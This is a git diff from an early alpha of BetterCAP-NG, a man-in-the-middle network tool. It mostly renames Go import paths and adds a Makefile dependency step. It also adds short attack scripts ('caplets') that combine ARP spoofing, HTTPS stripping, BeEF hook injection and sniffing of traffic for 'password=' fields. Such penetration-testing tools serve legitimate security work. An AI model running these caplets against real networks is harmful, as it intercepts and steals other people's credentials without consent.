diff --git a/.gitignore b/.gitignore index 7897e143..c9815678 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,6 @@ -*.cap *.sw* core/build.go net/oui_compiled.go -bettercap +bettercap-ng bettercap.history diff --git a/Makefile b/Makefile index 25699117..a8300fdf 100644 --- a/Makefile +++ b/Makefile @@ -6,7 +6,7 @@ all: build @echo "@ Done" @echo -n "\n" -build: build_file +build: deps build_file @echo "@ Building ..." @go build $(FLAGS) -o $(TARGET) . @@ -21,6 +21,14 @@ resources: @echo "@ Compiling resources into go files ..." @go-bindata -o net/oui_compiled.go -pkg net net/oui.dat +deps: + @echo "@ Installing dependencies ..." + @go get -u github.com/jteeuwen/go-bindata/... + @go get github.com/elazarl/goproxy + @go get github.com/google/gopacket + @go get github.com/malfunkt/iprange + @go get github.com/rogpeppe/go-charset/charset + clean: @rm -rf $(TARGET) net/oui_compiled.go diff --git a/README.md b/README.md index 0489ac56..886251af 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,8 @@ and offensive feature you could need in order to perform a man in the middle att **This is a WIP of the new version, very alpha, do not use.** +To have some idea, take a look at the `caplets` folder :) + ## License BetterCAP and BetterCAP-NG were made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and it is released under the GPL 3 license. diff --git a/caplets/active_recon.cap b/caplets/active_recon.cap new file mode 100644 index 00000000..1afea18f --- /dev/null +++ b/caplets/active_recon.cap @@ -0,0 +1,5 @@ +net.probe on +net.recon on +sleep 5 +net.show +quit diff --git a/caplets/beef_active.cap b/caplets/beef_active.cap new file mode 100644 index 00000000..b0510dc5 --- /dev/null +++ b/caplets/beef_active.cap @@ -0,0 +1,21 @@ +# spoof everyone as they're discovered +# set arp.spoof.targets 192.168.1.0/24 +# strip down https links when possible +set http.proxy.sslstrip true +# inject beef hook +set http.proxy.post.filter ||| + +# keep searching for new targets +# net.probe on + +# keep reading arp table for network mapping +net.recon on +# redirect http traffic to a proxy +http.proxy on +sleep 5 +# start arp spoofing attack +arp.spoof on + + + + diff --git a/caplets/beef_passive.cap b/caplets/beef_passive.cap new file mode 100644 index 00000000..5c60ad5a --- /dev/null +++ b/caplets/beef_passive.cap @@ -0,0 +1,19 @@ +# strip down https links when possible +set http.proxy.sslstrip true +# inject beef hook +set http.proxy.post.filter ||| +# +# keep reading arp table for network mapping +net.recon on +# redirect http traffic to a proxy +http.proxy on + +# wait for everything to start properly +sleep 1 +active + + + + + + diff --git a/caplets/passive_recon.cap b/caplets/passive_recon.cap new file mode 100644 index 00000000..4dd84ea1 --- /dev/null +++ b/caplets/passive_recon.cap @@ -0,0 +1,4 @@ +net.recon on +sleep 1 +net.show +quit diff --git a/caplets/spoof_n_sniff_passwords.cap b/caplets/spoof_n_sniff_passwords.cap new file mode 100644 index 00000000..847e7c46 --- /dev/null +++ b/caplets/spoof_n_sniff_passwords.cap @@ -0,0 +1,13 @@ +# keep reading arp table for network mapping +net.recon on + +set net.sniffer.regexp .*password=.+ +set net.sniffer.output passwords.cap + +# start arp spoofing attack +# arp.spoof on +net.sniffer on + + + + diff --git a/firewall/firewall_linux.go b/firewall/firewall_linux.go index cb13c428..101cb50e 100644 --- a/firewall/firewall_linux.go +++ b/firewall/firewall_linux.go @@ -6,7 +6,7 @@ import ( "os" "strings" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" "github.com/op/go-logging" ) diff --git a/main.go b/main.go index ae72d452..56db1cdf 100644 --- a/main.go +++ b/main.go @@ -5,9 +5,9 @@ import ( "github.com/op/go-logging" - "github.com/bettercap/bettercap/core" - "github.com/bettercap/bettercap/session" - "github.com/bettercap/bettercap/session/modules" + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/session" + "github.com/evilsocket/bettercap-ng/session/modules" ) var sess *session.Session diff --git a/net/arp.go b/net/arp.go index fa9945d4..8e3fb7ec 100644 --- a/net/arp.go +++ b/net/arp.go @@ -8,7 +8,7 @@ import ( "github.com/op/go-logging" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" ) type ArpTable map[string]string diff --git a/net/endpoint.go b/net/endpoint.go index 0d1201a9..51adf834 100644 --- a/net/endpoint.go +++ b/net/endpoint.go @@ -5,7 +5,7 @@ import ( "fmt" "net" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" ) type Endpoint struct { diff --git a/net/net.go b/net/net.go index f05a5e76..0b52d8ac 100644 --- a/net/net.go +++ b/net/net.go @@ -7,7 +7,7 @@ import ( "strconv" "strings" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" ) var IPv4RouteParser = regexp.MustCompile("^([\\d\\.]+)\\s+([\\d\\.]+)\\s+([\\d\\.]+)\\s+([A-Z]+)\\s+\\d+\\s+\\d+\\s+\\d+\\s+(.+)$") diff --git a/session/module_handler.go b/session/module_handler.go index 36e72fa3..4a55aeb3 100644 --- a/session/module_handler.go +++ b/session/module_handler.go @@ -2,7 +2,7 @@ package session import ( "fmt" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" "regexp" "strconv" ) diff --git a/session/module_param.go b/session/module_param.go index 3a7be8c4..d42fe621 100644 --- a/session/module_param.go +++ b/session/module_param.go @@ -2,7 +2,7 @@ package session import ( "fmt" - "github.com/bettercap/bettercap/core" + "github.com/evilsocket/bettercap-ng/core" "regexp" "strconv" "strings" diff --git a/session/modules/arp_spoof.go b/session/modules/arp_spoof.go index 563852ac..a17497be 100644 --- a/session/modules/arp_spoof.go +++ b/session/modules/arp_spoof.go @@ -2,9 +2,9 @@ package session_modules import ( "fmt" - network "github.com/bettercap/bettercap/net" - "github.com/bettercap/bettercap/packets" - "github.com/bettercap/bettercap/session" + network "github.com/evilsocket/bettercap-ng/net" + "github.com/evilsocket/bettercap-ng/packets" + "github.com/evilsocket/bettercap-ng/session" "github.com/malfunkt/iprange" "net" "time" diff --git a/session/modules/http_proxy.go b/session/modules/http_proxy.go index eb3a57fa..94a36ea8 100644 --- a/session/modules/http_proxy.go +++ b/session/modules/http_proxy.go @@ -10,8 +10,8 @@ import ( "github.com/elazarl/goproxy" "github.com/elazarl/goproxy/ext/html" - "github.com/bettercap/bettercap/firewall" - "github.com/bettercap/bettercap/session" + "github.com/evilsocket/bettercap-ng/firewall" + "github.com/evilsocket/bettercap-ng/session" ) var log = logging.MustGetLogger("mitm") diff --git a/session/modules/net_probe.go b/session/modules/net_probe.go index 0b27e066..c14b5c96 100644 --- a/session/modules/net_probe.go +++ b/session/modules/net_probe.go @@ -2,8 +2,8 @@ package session_modules import ( "fmt" - // "github.com/bettercap/bettercap/packets" - "github.com/bettercap/bettercap/session" + // "github.com/evilsocket/bettercap-ng/packets" + "github.com/evilsocket/bettercap-ng/session" "github.com/malfunkt/iprange" "net" "time" diff --git a/session/modules/net_recon.go b/session/modules/net_recon.go index eff6ae6c..8ee7ccac 100644 --- a/session/modules/net_recon.go +++ b/session/modules/net_recon.go @@ -2,8 +2,8 @@ package session_modules import ( "fmt" - "github.com/bettercap/bettercap/net" - "github.com/bettercap/bettercap/session" + "github.com/evilsocket/bettercap-ng/net" + "github.com/evilsocket/bettercap-ng/session" "time" ) diff --git a/session/modules/net_sniff.go b/session/modules/net_sniff.go index 4aa87d62..3e00683f 100644 --- a/session/modules/net_sniff.go +++ b/session/modules/net_sniff.go @@ -2,8 +2,8 @@ package session_modules import ( "fmt" - "github.com/bettercap/bettercap/core" - "github.com/bettercap/bettercap/session" + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/session" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" diff --git a/session/session.go b/session/session.go index 979248e2..db5b2769 100644 --- a/session/session.go +++ b/session/session.go @@ -15,10 +15,10 @@ import ( "github.com/chzyer/readline" "github.com/op/go-logging" - "github.com/bettercap/bettercap/core" - "github.com/bettercap/bettercap/firewall" - "github.com/bettercap/bettercap/net" - "github.com/bettercap/bettercap/packets" + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/firewall" + "github.com/evilsocket/bettercap-ng/net" + "github.com/evilsocket/bettercap-ng/packets" ) type Session struct { diff --git a/session/targets.go b/session/targets.go index 68bb87b0..426d27a1 100644 --- a/session/targets.go +++ b/session/targets.go @@ -7,8 +7,8 @@ import ( "github.com/op/go-logging" - "github.com/bettercap/bettercap/core" - "github.com/bettercap/bettercap/net" + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/net" ) var log = logging.MustGetLogger("mitm")